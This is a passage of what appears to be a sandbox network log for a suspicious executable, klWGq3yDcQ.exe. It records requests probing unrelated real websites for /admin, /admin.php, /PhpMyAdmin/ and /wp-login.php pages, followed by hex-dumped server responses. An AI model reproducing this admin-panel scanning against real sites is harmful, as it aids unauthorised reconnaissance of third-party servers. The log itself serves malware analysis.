74 69 74 6c 65 3e 4c 6f Data Ascii: 2ad4<!doctype html><html class="no-js" lang="en"> <head> <base href="https://ce-logic.com/">...[if lte IE 6]></base><![endif]--> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Lo
2023-11-26 05:59:46 UTC	3111	IN	Data Raw: 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 72 65 73 6f 75 72 63 65 73 2f 74 68 65 6d 65 73 2f 6d 61 69 6e 2f 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2e 69 66 72 61 6d 65 2d 74 72 61 6e 73 70 6f 72 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 72 65 73 6f 75 72 63 65 73 2f 74 68 65 6d 65 73 2f 6d 61 69 6e 2f 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2e 66 69 6c 65 75 70 6c 6f 61 64 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 56 61 6c 69 64 61 74 65 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 61 73 70 6e 65 74 63 64 6e 2e 63 6f 6d 2f 61 6a 61 78 2f Data Ascii: <script src="/resources/themes/main/js/vendor/jquery.iframe-transport.js"></script> <script src="/resources/themes/main/js/vendor/jquery.fileupload.js"></script> ... Validate --> <script src="//ajax.aspnetcdn.com/ajax/
2023-11-26 05:59:46 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.4	52453	194.47.252.115	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	176	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: www.maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:46 UTC	534	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 36 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:46 GMTserver: Apache/2.4.57 (Debian)x-powered-by: PHP/8.2.12expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <https://www.maxiv.lu.se/wp-json/>; r
2023-11-26 05:59:46 UTC	6346	IN	Data Raw: 31 38 43 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 4d 41 58 20 49 56 3c 2f 74 69 74 Data Ascii: 18C2<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><link rel="profile" href="http://gmpg.org/xfn/11"><title>Page not found – MAX IV</tit
2023-11-26 05:59:47 UTC	6748	IN	Data Raw: 31 41 35 34 0d 0a 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 67 72 65 65 6e Data Ascii: 1A54ous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green
2023-11-26 05:59:47 UTC	16314	IN	Data Raw: 33 46 42 32 0d 0a 73 68 65 65 74 27 20 69 64 3d 27 6a 71 75 65 72 79 2d 75 69 2d 73 74 79 6c 65 73 2d 63 73 73 27 20 68 72 65 66 3d 27 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 75 69 2f 31 2e 31 33 2e 31 2f 74 68 65 6d 65 73 2f 62 61 73 65 2f 6a 71 75 65 72 79 2d 75 69 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 61 62 6c 65 70 72 65 73 73 2d 64 65 66 61 75 6c 74 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 74 61 62 6c 65 70 72 65 73 73 2f 63 73 73 2f 62 75 69 6c 64 2f 64 65 66 61 75 6c 74 2e 63 Data Ascii: 3FB2sheet' id='jquery-ui-styles-css' href='//code.jquery.com/ui/1.13.1/themes/base/jquery-ui.css?ver=6.4.1' media='all' /><link rel='stylesheet' id='tablepress-default-css' href='https://www.maxiv.lu.se/wp-content/plugins/tablepress/css/build/default.c
2023-11-26 05:59:47 UTC	10662	IN	Data Raw: 32 39 39 45 0d 0a 36 2d 35 2e 35 35 20 34 32 2e 38 34 2d 33 34 2e 35 31 20 37 32 2e 34 35 2d 31 2e 34 32 20 31 2e 34 35 2d 32 2e 38 37 20 32 2e 38 39 2d 34 2e 33 35 20 34 2e 33 34 2d 31 39 2e 36 2d 31 36 2e 34 32 2d 34 32 2e 34 31 2d 33 32 2e 33 36 2d 36 37 2e 34 38 2d 34 37 2e 31 39 7a 22 2f 3e 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 30 31 22 20 63 79 3d 22 34 35 30 22 20 72 3d 22 32 35 22 2f 3e 3c 2f 67 3e 3c 2f 73 79 6d 62 6f 6c 3e 3c 73 79 6d 62 6f 6c 20 69 64 3d 22 74 77 69 74 74 65 72 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 70 61 74 68 20 64 3d 22 4d 32 33 2e 39 35 34 20 34 2e 35 36 39 61 31 30 20 31 30 20 30 20 30 20 31 2d 32 2e 38 32 35 2e 37 37 35 20 34 2e 39 35 38 20 34 2e 39 35 38 20 30 20 30 20 30 20 32 2e 31 36 33 Data Ascii: 299E6-5.55 42.84-34.51 72.45-1.42 1.45-2.87 2.89-4.35 4.34-19.6-16.42-42.41-32.36-67.48-47.19z"/><circle cx="501" cy="450" r="25"/></g></symbol><symbol id="twitter" viewBox="0 0 24 24"><path d="M23.954 4.569a10 10 0 0 1-2.825.775 4.958 4.958 0 0 0 2.163
2023-11-26 05:59:47 UTC	16314	IN	Data Raw: 33 46 42 32 0d 0a 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 75 73 65 72 2d 61 63 63 65 73 73 2f 75 73 65 72 2d 67 75 69 64 65 2f 70 72 6f 70 6f 73 61 6c 2d 73 75 62 6d 69 73 73 69 6f 6e 2f 70 72 6f 70 6f 73 61 6c 2d 77 72 69 74 69 6e 67 2d 67 75 69 64 65 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 50 72 6f 70 6f 73 61 6c 20 57 72 69 74 69 6e 67 20 47 75 69 64 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 Data Ascii: 3FB2'menu-item menu-item-type-post_type menu-item-object-page item-depth-4'><a href="https://www.maxiv.lu.se/user-access/user-guide/proposal-submission/proposal-writing-guide/" class="menu-item-label">Proposal Writing Guide</a></li></ul></li><li class='
2023-11-26 05:59:47 UTC	28	IN	Data Raw: 34 30 0d 0a 62 65 61 6d 6c 69 6e 65 73 2f 62 61 6c 64 65 72 2f 73 63 69 65 6e 63 65 Data Ascii: 40beamlines/balder/science
2023-11-26 05:59:47 UTC	42	IN	Data Raw: 2d 61 74 2d 62 61 6c 64 65 72 2f 65 78 70 65 72 69 6d 65 6e 74 61 6c 2d 64 61 74 61 2f 22 20 63 6c 61 73 73 3d 22 6d 65 0d 0a Data Ascii: -at-balder/experimental-data/" class="me
2023-11-26 05:59:47 UTC	16272	IN	Data Raw: 33 46 38 38 0d 0a 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 45 78 70 65 72 69 6d 65 6e 74 61 6c 20 64 61 74 61 3c 2f 61 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 70 6c 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 61 64 64 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 64 2d 6e 6f 6e 65 20 6d 69 6e 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 Data Ascii: 3F88nu-item-label">Experimental data</a><span class="material-icon submenu-toggler plus-icon" aria-hidden="true"><span class="material-icons-sharp">add</span></span><span class="material-icon submenu-toggler d-none minus-icon" aria-hidden="true"><span c
2023-11-26 05:59:47 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 66 65 6d 74 6f 6d 61 78 2f 65 78 70 65 72 69 6d 65 6e 74 61 6c 2d 73 74 61 74 69 6f 6e 73 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 45 78 70 65 72 69 6d 65 6e 74 61 6c 20 73 74 61 74 69 6f 6e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c Data Ascii: 3FB8s://www.maxiv.lu.se/beamlines-accelerators/beamlines/femtomax/experimental-stations/" class="menu-item-label">Experimental station</a></li><li class='menu-item menu-item-type-post_type menu-item-object-page item-depth-4'><a href="https://www.maxiv.l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
489	192.168.2.4	52454	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	171	OUT	GET /admin HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:46 UTC	456	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:46 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://himontessori.com/wp-json/>; rel="https://api.w.org/"X-Redirect-By: WordP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.4	52494	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	172	OUT	GET /admin.php HTTP/1.1 Host: grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:46 UTC	337	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 32 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 61 64 6d 69 6e 2e 70 68 70 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:46 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 321Connection: closeLocation: http://www.grantstech.io/admin.phpCache-Control: max-age=0Expires: Sun, 26 Nov 2023 05:
2023-11-26 05:59:46 UTC	321	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 61 64 6d 69 6e 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.grantstech.io/admin.php">here</a>.</p><hr><address>Apache/2.4.56

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.4	52552	45.40.150.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	176	OUT	GET /wp-login.php HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:46 UTC	856	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 67 65 3a 20 30 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e Data Ascii: HTTP/1.1 200 OKServer: openrestyDate: Sun, 26 Nov 2023 05:59:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeage: 0cache-control: no-store, no-cache, must-revalidatecontent-security-policy: upgrade-in
2023-11-26 05:59:46 UTC	7882	IN	Data Raw: 31 65 63 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4c 61 77 20 46 69 72 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: 1ec2<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Law Firm — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javas
2023-11-26 05:59:46 UTC	593	IN	Data Raw: 32 34 61 0d 0a 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 65 6e 67 65 6c 2d 66 69 72 6d 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 77 70 2d 75 74 69 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 33 2e 32 27 20 69 64 3d 27 77 70 2d 75 74 69 6c 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 69 64 3d 27 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 66 34 39 38 32 35 38 33 39 63 22 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 Data Ascii: 24aipt' src='https://engel-firm.com/wp-includes/js/wp-util.min.js?ver=6.3.2' id='wp-util-js'></script><script type='text/javascript' id='user-profile-js-extra'>/* <![CDATA[ /var userProfileL10n = {"user_id":"0","nonce":"f49825839c"};/ ... */</scr
2023-11-26 05:59:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.4	52534	185.54.192.125	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	168	OUT	GET /admin HTTP/1.1 Host: talentius.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:46 UTC	443	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:46 GMTServer: Apache/2.4.52 (Ubuntu)Pragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://talentius.com/wp-json/>; rel="https:
2023-11-26 05:59:46 UTC	7749	IN	Data Raw: 31 65 63 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a Data Ascii: 1ecc<!DOCTYPE html><html lang="es-ES" class="no-js"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <link rel="pingback" href="https:
2023-11-26 05:59:46 UTC	141	IN	Data Raw: 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 77 69 64 67 65 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 Data Ascii: type='text/javascript' src='https://talentius.com/wp-includes/js/jquery/ui/widget.min.js?ver=1.11.4'></script><script type='text/javascript
